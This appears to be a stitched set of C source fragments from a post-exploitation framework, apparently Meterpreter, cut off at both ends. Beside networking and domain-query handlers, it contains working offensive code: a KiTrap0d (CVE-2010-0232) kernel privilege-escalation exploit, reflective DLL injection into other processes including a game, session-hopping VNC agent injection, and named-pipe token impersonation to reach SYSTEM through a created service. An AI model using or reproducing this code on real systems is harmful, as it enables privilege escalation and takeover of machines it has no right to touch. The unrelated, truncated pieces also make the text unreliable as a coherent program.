channel_get_id(serverCtx->channel), sock); clientctx = tcp_channel_server_create_client(serverCtx, sock); if (!clientctx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_notify. clientctx == NULL", ERROR_INVALID_HANDLE); } size = sizeof(SOCKADDR_IN6); if (getsockname(serverCtx->fd, (SOCKADDR *)&serveraddr, &size) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] request_net_tcp_server_channel_open. getsockname failed"); } if (!serverCtx->ipv6) { localhost = inet_ntoa(((SOCKADDR_IN*)&serveraddr)->sin_addr); } if (!localhost) { localhost = ""; } localport = ntohs(serverCtx->ipv6 ? serveraddr.sin6_port : ((SOCKADDR_IN*)&serveraddr)->sin_port); if (!serverCtx->ipv6) { peerhost = inet_ntoa(((SOCKADDR_IN*)&clientaddr)->sin_addr); } if (!peerhost) { peerhost = ""; } peerport = ntohs(serverCtx->ipv6 ? clientaddr.sin6_port : ((SOCKADDR_IN*)&clientaddr)->sin_port); dprintf("[TCP-SERVER] tcp_channel_server_notify. New connection %s:%d <- %s:%d", localhost, localport, peerhost, peerport); request = packet_create(PACKET_TLV_TYPE_REQUEST, "tcp_channel_open"); if (!request) { BREAK_WITH_ERROR("[TCP-SERVER] request_net_tcp_server_channel_open. packet_create failed", ERROR_INVALID_HANDLE); } packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(clientctx->channel)); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_PARENTID, channel_get_id(serverCtx->channel)); packet_add_tlv_string(request, TLV_TYPE_LOCAL_HOST, localhost); packet_add_tlv_uint(request, TLV_TYPE_LOCAL_PORT, localport); packet_add_tlv_string(request, TLV_TYPE_PEER_HOST, peerhost); packet_add_tlv_uint(request, TLV_TYPE_PEER_PORT, peerport); dwResult = PACKET_TRANSMIT(serverCtx->remote, request, NULL); } while (0); return dwResult; }
/*! * @brief Create a TCP client channel from a socket. * @param serverCtx Pointer to the TCP server context. * @param sock The socket handle. * @returns Pointer to the newly created client context. */ TcpClientContext * tcp_channel_server_create_client(TcpServerContext * serverCtx, SOCKET sock) { DWORD dwResult = ERROR_SUCCESS; TcpClientContext * clientctx = NULL; StreamChannelOps chops = { 0 }; do { if (!serverCtx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. serverCtx == NULL", ERROR_INVALID_HANDLE); } clientctx = (TcpClientContext *)malloc(sizeof(TcpClientContext)); if (!clientctx) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx == NULL", ERROR_NOT_ENOUGH_MEMORY); } memset(clientctx, 0, sizeof(TcpClientContext)); clientctx->remote = serverCtx->remote; clientctx->fd = sock; clientctx->notify = WSACreateEvent(); if (clientctx->notify == WSA_INVALID_EVENT) { BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSACreateEvent failed"); } if (WSAEventSelect(clientctx->fd, clientctx->notify, FD_READ | FD_CLOSE) == SOCKET_ERROR) { BREAK_ON_WSAERROR("[TCP-SERVER] tcp_channel_server_create_client. WSAEventSelect failed"); } memset(&chops, 0, sizeof(StreamChannelOps)); chops.native.context = clientctx; chops.native.write = tcp_channel_client_write; chops.native.close = tcp_channel_client_close; clientctx->channel = channel_create_stream(0, 0, &chops); if (!clientctx->channel) { BREAK_WITH_ERROR("[TCP-SERVER] tcp_channel_server_create_client. clientctx->channel == NULL", ERROR_INVALID_HANDLE); } dwResult = scheduler_insert_waitable(clientctx->notify, clientctx, NULL, (WaitableNotifyRoutine)tcp_channel_client_local_notify, NULL); } while (0); if (dwResult != ERROR_SUCCESS) { if (clientctx) { free(clientctx); clientctx = NULL; } } return clientctx; }
/*! * @brief Perform an ASDI query against a domain. * @param remote Pointer to the \c Remote instance. * @param packet Pointer to the incoming \c Packet instance. * @returns Indication of success or failure. * @remark Real error codes are returned to the caller via a response packet. */ DWORD request_adsi_domain_query(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; LPSTR lpValue = NULL; LPWSTR lpwDomain = NULL; LPWSTR lpwFilter = NULL; LPWSTR* lpwFields = NULL; DWORD fieldCount = 0; DWORD fieldIndex = 0; Packet * response = packet_create_response(packet); Tlv fieldTlv; DWORD maxResults; DWORD pageSize; do { if (!response) { BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to create response packet", ERROR_OUTOFMEMORY); } lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_DOMAIN); dprintf("[EXTAPI ADSI] Domain: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwDomain); if (dwResult != ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Failed to get Domain"); break; } lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_ADSI_FILTER); dprintf("[EXTAPI ADSI] Filter: %s", lpValue); dwResult = to_wide_string(lpValue, &lpwFilter); if (dwResult != ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Failed to get Filter"); break; } maxResults = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ASDI_MAXRESULTS); dprintf("[EXTAPI ADSI] Max results will be %u", maxResults); pageSize = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_ASDI_PAGESIZE); dprintf("[EXTAPI ADSI] Page size specified as %u", pageSize); // Set the page size to something sensible if not given. if (pageSize == 0) { pageSize = DEFAULT_PAGE_SIZE; } // If max results is given, there's no point in having a page size // that's bigger! if (maxResults != 0) { pageSize = min(pageSize, maxResults); } dprintf("[EXTAPI ADSI] Page size will be %u", pageSize); while (packet_enum_tlv(packet, fieldCount, TLV_TYPE_EXT_ADSI_FIELD, &fieldTlv) == ERROR_SUCCESS) { lpValue = (char*)fieldTlv.buffer; dprintf("[EXTAPI ADSI] Field %u: %s", fieldCount, lpValue); lpwFields = (LPWSTR*)realloc(lpwFields, sizeof(LPWSTR) * (fieldCount + 1)); if (lpwFields == NULL) { BREAK_WITH_ERROR("[EXTAPI ADSI] Unable to allocate memory", ERROR_OUTOFMEMORY); } dwResult = to_wide_string(lpValue, &lpwFields[fieldCount]); if (dwResult != ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Failed to get field as wide string"); break; } ++fieldCount; } dprintf("[EXTAPI ADSI] Field count: %u", fieldCount, lpValue); if (dwResult == ERROR_SUCCESS) { dprintf("[EXTAPI ADSI] Beginning user enumeration"); dwResult = domain_query(lpwDomain, lpwFilter, lpwFields, fieldCount, maxResults, pageSize, response); dprintf("[EXTAPI ADSI] Result of processing: %u (0x%x)", dwResult, dwResult); } } while (0); if (lpwFields) { for (fieldIndex = 0; fieldIndex < fieldCount; ++fieldIndex) { if (lpwFields[fieldIndex]) { free(lpwFields[fieldIndex]); } } free(lpwFields); } if (lpwFilter) { free(lpwFilter); } if (lpwDomain) { free(lpwDomain); } dprintf("[EXTAPI ADSI] Transmitting response back to caller."); if (response) { packet_transmit_response(dwResult, remote, response); } return dwResult; }
/* * (CVE-2010-0232) */ DWORD elevate_via_exploit_kitrap0d( Remote * remote, Packet * packet ) { DWORD dwResult = ERROR_SUCCESS; HANDLE hVdm = NULL; HANDLE hThread = NULL; LPVOID lpServiceBuffer = NULL; LPVOID lpRemoteCommandLine = NULL; char cWinDir[MAX_PATH] = {0}; char cVdmPath[MAX_PATH] = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwExitCode = 0; DWORD dwKernelBase = 0; DWORD dwOffset = 0; DWORD dwServiceLength = 0; do { // only works on x86 systems... if( elevate_getnativearch() != PROCESS_ARCH_X86 ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. Unsuported platform", ERROR_BAD_ENVIRONMENT ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting..." ); dwServiceLength = packet_get_tlv_value_uint( packet, TLV_TYPE_ELEVATE_SERVICE_LENGTH ); lpServiceBuffer = packet_get_tlv_value_string( packet, TLV_TYPE_ELEVATE_SERVICE_DLL ); if( !dwServiceLength || !lpServiceBuffer ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. invalid arguments", ERROR_BAD_ARGUMENTS ); // 1. first get a file path to a suitable exe... if( !elevate_via_exploit_getpath( cVdmPath, MAX_PATH ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. elevate_via_exploit_getpath failed", ERROR_FILE_NOT_FOUND ); // 2. Scan kernel image for the required code sequence, and find the base address... if( !kitrap0d_scan_kernel( &dwKernelBase, &dwOffset ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_scanforcodesignature failed", ERROR_INVALID_HANDLE ); // 3. Invoke the NTVDM subsystem, by launching any MS-DOS executable... dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. Starting the NTVDM subsystem by launching MS-DOS executable" ); if( !kitrap0d_spawn_ntvdm( cVdmPath, &hVdm ) ) BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. kitrap0d_spawn_ntvdm failed", ERROR_INVALID_HANDLE ); // 4. Use RDI to inject the elevator dll into the remote NTVDM process... // Passing in the parameters required by exploit thread via the LoadRemoteLibraryR inject technique. _snprintf_s( cCommandLine, sizeof(cCommandLine), sizeof(cCommandLine), "/KITRAP0D /VDM_TARGET_PID:0x%08X /VDM_TARGET_KRN:0x%08X /VDM_TARGET_OFF:0x%08X\x00", GetCurrentProcessId(), dwKernelBase, dwOffset ); // alloc some space and write the commandline which we will pass to the injected dll... lpRemoteCommandLine = VirtualAllocEx( hVdm, NULL, strlen(cCommandLine)+1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); if( !lpRemoteCommandLine ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. VirtualAllocEx failed" ); if( !WriteProcessMemory( hVdm, lpRemoteCommandLine, cCommandLine, strlen(cCommandLine)+1, NULL ) ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. WriteProcessMemory failed" ); // inject the dll... hThread = LoadRemoteLibraryR( hVdm, lpServiceBuffer, dwServiceLength, lpRemoteCommandLine ); if( !hThread ) BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. LoadRemoteLibraryR failed" ); // 5. Wait for the thread to complete dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. WaitForSingleObject(%#x, INFINITE);", hThread ); WaitForSingleObject( hThread, INFINITE ); // pass some information back via the exit code to indicate what happened. GetExitCodeThread( hThread, &dwExitCode ); dprintf( "[KITRAP0D] elevate_via_exploit_kitrap0d. GetExitCodeThread(%#x, %p); => %#x", hThread, &dwExitCode, dwExitCode ); switch( dwExitCode ) { case 'VTIB': // A data structure supplied to the kernel called VDM_TIB has to have a 'size' field that // matches what the kernel expects. // Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to find the size of the VDM_TIB structure", dwExitCode ); case 'NTAV': // NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl() // expects to be present. // The exploit thread reports it didn't work. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to map the virtual 8086 address space", dwExitCode ); case 'VDMC': // NtVdmControl() must be initialised before you can begin vm86 execution, but it failed. // It's entirely undocumented, so you'll have to use kd to step through it and find out why // it's failing. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports NtVdmControl() failed", dwExitCode ); case 'LPID': // This exploit will try to transplant the token from PsInitialSystemProcess on to an // unprivileged process owned by you. // PsLookupProcessByProcessId() failed when trying to find your process. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports that PsLookupProcessByProcessId() failed", dwExitCode ); case FALSE: // This probably means LoadLibrary() failed, perhaps the exploit dll could not be found? // Verify the vdmexploit.dll file exists, is readable and is in a suitable location. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread was unable to load the injected dll", dwExitCode ); case 'w00t': // This means the exploit payload was executed at ring0 and succeeded. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread reports exploitation was successful", ERROR_SUCCESS ); default: // Unknown error. Sorry, you're on your own. BREAK_WITH_ERROR( "[KITRAP0D] elevate_via_exploit_kitrap0d. The exploit thread returned an unexpected error. ", dwExitCode ); } } while( 0 ); if( hVdm ) { TerminateProcess( hVdm, 0 ); CloseHandle( hVdm ); } if( hThread ) CloseHandle( hThread ); return dwResult; }
/* * Entry Point. */ DWORD Init( SOCKET s ) { DWORD dwResult = ERROR_SUCCESS; BOOL bTerminate = FALSE; HANDLE hMessageThread = NULL; DLL_BUFFER VncDllBuffer = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwHostSessionId = 0; DWORD dwActiveSessionId = 0; DWORD dwAgentSessionId = 0xFFFFFFFF; BYTE bFlags = 0; __try { do { // We maintain state for the rfb stream so as not to desynchronize the remote // client after session switching and the injection of multiple agents server side. context_init(); sock = s; if( sock == INVALID_SOCKET ) BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER ); if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" ); if( bFlags & VNCFLAG_DISABLECOURTESYSHELL ) AgentContext.bDisableCourtesyShell = TRUE; if( bFlags & VNCFLAG_DISABLESESSIONTRACKING ) bDisableSessionTracking = TRUE; dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags ); // get the vnc dll we will inject into the active session if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" ); // create a socket event and have it signaled on FD_CLOSE hSocketCloseEvent = WSACreateEvent(); if( hSocketCloseEvent == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" ); if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" ); // get the session id that our host process belongs to dwHostSessionId = session_id( GetCurrentProcessId() ); hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL ); if( !hMessageThread ) BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" ); // loop untill the remote client closes the connection, creating a vnc // server agent inside the active session upon the active session changing while( !bTerminate ) { // in case we have been waiting for a session to attach to the physical // console and the remote client has quit, we detect this here... if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 ) { dprintf( "[LOADER] Init. Remote socket closed, terminating1..." ); break; } // get the session id for the interactive session dwActiveSessionId = session_activeid(); // test if there is no session currently attached to the physical console... if( dwActiveSessionId == 0xFFFFFFFF ) { dprintf( "[LOADER] Init. no session currently attached to the physical console..." ); // just try to wait it out... Sleep( 250 ); continue; } else if( dwActiveSessionId == dwAgentSessionId ) { dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." ); // just try to wait it out... Sleep( 250 ); continue; } // do the local process or session injection if( dwHostSessionId != dwActiveSessionId ) { dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId ); if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED ); } else { dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId ); if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED ); } dwAgentSessionId = dwActiveSessionId; // loop, waiting for either the agents process to die, the remote socket to die or // the active session to change... while( TRUE ) { HANDLE hEvents[2] = {0}; DWORD dwWaitResult = 0; // wait for these event to be signaled or a timeout to occur... hEvents[0] = hSocketCloseEvent; hEvents[1] = hAgentProcess; dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 ); // bail if we have somehow failed (e.g. invalid handle) if( dwWaitResult == WAIT_FAILED ) { dprintf( "[LOADER] Init. WaitForMultipleObjects failed." ); // if we cant synchronize we bail out... bTerminate = TRUE; break; } // if we have just timedout, test the current active session... else if( dwWaitResult == WAIT_TIMEOUT ) { // if the agent is still in the active session just continue... if( dwAgentSessionId == session_activeid() ) continue; // if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage) if( bDisableSessionTracking ) { dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." ); Sleep( 500 ); continue; } // if the agent is no longer in the active session we signal the agent to terminate if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() ); dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." ); dwAgentSessionId = 0xFFFFFFFF; // and we go inject a new agent into the new active session (or terminate if session tracking disabled) loader_agent_close(); break; } // sanity check the result for an abandoned mutex else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) ) { dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 ); bTerminate = TRUE; break; } else { // otherwise if we have an event signaled, handle it switch( dwWaitResult - WAIT_OBJECT_0 ) { case 0: dprintf( "[LOADER] Init. Remote socket closed, terminating2..." ); bTerminate = TRUE; if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() ); ReleaseMutex( hAgentCloseEvent ); break; case 1: dprintf( "[LOADER] Init. Injected agent's process has terminated..." ); loader_agent_close(); dwAgentSessionId = 0xFFFFFFFF; break; default: dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult ); bTerminate = TRUE; if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() ); break; } } // get out of this loop... break; } } } while( 0 ); CLOSE_HANDLE( hSocketCloseEvent ); loader_agent_close(); closesocket( sock ); if( hMessageThread ) TerminateThread( hMessageThread, 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" ); } dprintf( "[LOADER] Init. Finished." ); return dwResult; }
/* * (CVE-2010-0232) */ VOID elevator_kitrap0d( DWORD dwProcessId, DWORD dwKernelBase, DWORD dwOffset ) { DWORD dwResult = ERROR_SUCCESS; FARPROC pNtVdmControl = NULL; HMODULE hNtdll = NULL; DWORD dwKernelStack[KSTACKSIZE] = {0}; VDMTIB VdmTib = {0}; DWORD dwMinimumExpectedVdmTibSize = 0x200; DWORD dwMaximumExpectedVdmTibSize = 0x800; do { dprintf( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. dwProcessId=%d, dwKernelBase=0x%08X, dwOffset=0x%08X", dwProcessId, dwKernelBase, dwOffset ); memset( &VdmTib, 0, sizeof( VDMTIB ) ); memset( &dwKernelStack, 0, KSTACKSIZE * sizeof( DWORD ) ); // XXX: Windows 2000 forces the thread to exit with 0x80 if Padding3 is filled with junk. // With a buffer full of NULLs, the exploit never finds the right size. // This will require a more work to resolve, for just keep the padding zero'd hNtdll = GetModuleHandle( "ntdll" ); if( !hNtdll ) BREAK_WITH_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetModuleHandle ntdll failed", ERROR_INVALID_PARAMETER ); pNtVdmControl = GetProcAddress( hNtdll, "NtVdmControl" ); if( !pNtVdmControl ) BREAK_ON_ERROR( "[ELEVATOR-KITRAP0D] elevator_kitrap0d. GetProcAddress NtVdmControl failed" ); dwTargetProcessId = dwProcessId; // Setup the fake kernel stack, and install a minimal VDM_TIB... lpKernelStackPointer = (DWORD *)&dwKernelStack; dwKernelStack[0] = (DWORD)&dwKernelStack[8]; // ESP dwKernelStack[1] = (DWORD)NtCurrentTeb(); // TEB dwKernelStack[2] = (DWORD)NtCurrentTeb(); // TEB dwKernelStack[7] = (DWORD)elevator_kitrap0d_firststage; // RETURN ADDRESS hKernel = (HMODULE)dwKernelBase; VdmTib.Size = dwMinimumExpectedVdmTibSize; *NtCurrentTeb()->Reserved4 = &VdmTib; // Initialize the VDM Subsystem... elevator_kitrap0d_initvdmsubsystem(); VdmTib.Size = dwMinimumExpectedVdmTibSize; VdmTib.VdmContext.SegCs = 0x0B; VdmTib.VdmContext.Esi = (DWORD)&dwKernelStack; VdmTib.VdmContext.Eip = dwKernelBase + dwOffset; VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK; *NtCurrentTeb()->Reserved4 = &VdmTib; // Allow thread initialization to complete. Without is, there is a chance // of a race in KiThreadInitialize's call to SwapContext Sleep( 1000 ); // Trigger the vulnerable code via NtVdmControl()... while( VdmTib.Size++ < dwMaximumExpectedVdmTibSize ) pNtVdmControl( VdmStartExecution, NULL ); } while( 0 ); // Unable to find correct VdmTib size. ExitThread('VTIB'); }
// Simple app to inject a reflective DLL into a process vis its process ID. int WinMain() //int argc, char * argv[] { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; DWORD dwExitCode = 1; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else char * cpDllFile = "reflective_dll.dll"; #endif do { // Usage: inject.exe [string] [pid] [dll_file] //if (argc == 2) // dwProcessId = GetCurrentProcessId(); //else //dwProcessId = atoi( argv[2] ); dwProcessId = getPid("ffxiv_dx11.exe"); //if( argc >= 4 ) // cpDllFile = argv[3]; cpDllFile = "ffxiv-fixfullscreen.dll"; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL, MYFUNCTION_HASH, "user data", 1337); // originally (DWORD)(strlen(argv[1]) + 1) if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); //printf( "[+] Injected the '%s' DLL into process %d.\n", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); if ( !GetExitCodeThread( hModule, &dwExitCode ) ) BREAK_WITH_ERROR( "Failed to get exit code of thread" ); //printf( "[+] Created thread exited with code %d.\n", dwExitCode ); //char message[260] = "Injection successful. Thread exited with code: "; //char buffer[260]; //sprintf(buffer, "%d", dwExitCode); //MessageBox(0, strcat(message, buffer), "Info", 1); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return dwExitCode; }
/* * Worker thread for named pipe impersonation. Creates a named pipe and impersonates * the first client which connects to it. */ DWORD THREADCALL elevate_namedpipe_thread(THREAD * thread) { DWORD dwResult = ERROR_ACCESS_DENIED; HANDLE hServerPipe = NULL; HANDLE hToken = NULL; HANDLE hSem = NULL; char * cpServicePipe = NULL; Remote * remote = NULL; BYTE bMessage[128] = {0}; DWORD dwBytes = 0; do { if (!thread) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread", ERROR_BAD_ARGUMENTS); } cpServicePipe = (char *)thread->parameter1; remote = (Remote *)thread->parameter2; hSem = (HANDLE)thread->parameter3; if (!cpServicePipe || !remote) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. invalid thread arguments", ERROR_BAD_ARGUMENTS); } dprintf("[ELEVATE] pipethread. CreateNamedPipe(%s)",cpServicePipe); // create the named pipe for the client service to connect to hServerPipe = CreateNamedPipe(cpServicePipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); if (!hServerPipe) { BREAK_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. CreateNamedPipe failed"); } while (TRUE) { if (event_poll(thread->sigterm, 0)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. thread->sigterm received", ERROR_DBG_TERMINATE_THREAD); } //signal the client that the pipe is ready if (hSem) { if (!ReleaseSemaphore(hSem, 1, NULL)) { BREAK_WITH_ERROR("[ELEVATE] elevate_namedpipe_thread. ReleaseSemaphore failed", ERROR_DBG_TERMINATE_THREAD); } } // wait for a client to connect to our named pipe... if (!ConnectNamedPipe(hServerPipe, NULL)) { if (GetLastError() != ERROR_PIPE_CONNECTED) continue; } dprintf("[ELEVATE] pipethread. got client conn."); // we can't impersonate a client untill we have performed a read on the pipe... if (!ReadFile(hServerPipe, &bMessage, 1, &dwBytes, NULL)) { CONTINUE_ON_ERROR("[ELEVATE] pipethread. ReadFile failed"); } // impersonate the client! if (!ImpersonateNamedPipeClient(hServerPipe)) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. ImpersonateNamedPipeClient failed"); } // get a handle to this threads token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { CONTINUE_ON_ERROR("[ELEVATE] elevate_namedpipe_thread. OpenThreadToken failed"); } // now we can set the meterpreters thread token to that of our system // token so all subsequent meterpreter threads will use this token. core_update_thread_token(remote, hToken); dwResult = ERROR_SUCCESS; break; } } while (0); if (hServerPipe) { DisconnectNamedPipe(hServerPipe); CLOSE_HANDLE(hServerPipe); } dprintf("[ELEVATE] elevate_namedpipe_thread finishing, dwResult=%d", dwResult); return dwResult; }
/* * Elevate from local admin to local system via Named Pipe Impersonation. We spawn a cmd.exe under local * system which then connects to our named pipe and we impersonate this client. This can be done by an * Administrator without the need for SeDebugPrivilege. Works on 2000, XP, 2003 and 2008 for all local * administrators. On Vista and 7 it will only work if the host process has been elevated through UAC * first. Does not work on NT4. */ DWORD elevate_via_service_namedpipe(Remote * remote, Packet * packet) { DWORD dwResult = ERROR_SUCCESS; char * cpServiceName = NULL; THREAD * pThread = NULL; HANDLE hSem = NULL; char cServiceArgs[MAX_PATH] = {0}; char cServicePipe[MAX_PATH] = {0}; OSVERSIONINFO os = {0}; do { os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); if (!GetVersionEx(&os)) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: GetVersionEx failed") } // filter out Windows NT4 if (os.dwMajorVersion == 4 && os.dwMinorVersion == 0) { SetLastError(ERROR_ACCESS_DENIED); BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe: Windows NT4 not supported.") } cpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_ELEVATE_SERVICE_NAME); if (!cpServiceName) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. invalid arguments", ERROR_BAD_ARGUMENTS); } _snprintf_s(cServicePipe, sizeof(cServicePipe), MAX_PATH, "\\\\.\\pipe\\%s", cpServiceName); _snprintf_s(cServiceArgs, sizeof(cServiceArgs), MAX_PATH, "cmd.exe /c echo %s > %s", cpServiceName, cServicePipe); hSem = CreateSemaphore(NULL, 0, 1, NULL); pThread = thread_create(elevate_namedpipe_thread, &cServicePipe, remote, hSem); if (!pThread) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_create failed", ERROR_INVALID_HANDLE); } if (!thread_run(pThread)) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. thread_run failed", ERROR_ACCESS_DENIED); } //wait for the thread to create the pipe(if it times out terminate) if (hSem) { if (WaitForSingleObject(hSem, 500) != WAIT_OBJECT_0) { BREAK_WITH_ERROR("[ELEVATE] elevate_via_service_namedpipe. WaitForSingleObject failed", ERROR_ACCESS_DENIED); } } else { Sleep(500); } // start the elevator service (if it doesnt start first time we need to create it and then start it). if (service_start(cpServiceName) != ERROR_SUCCESS) { dprintf("[ELEVATE] service starting failed, attempting to create"); if (service_create(cpServiceName, cServiceArgs) != ERROR_SUCCESS) { BREAK_ON_ERROR("[ELEVATE] elevate_via_service_namedpipe. service_create failed"); } dprintf("[ELEVATE] creation of service succeeded, attempting to start"); // we dont check a 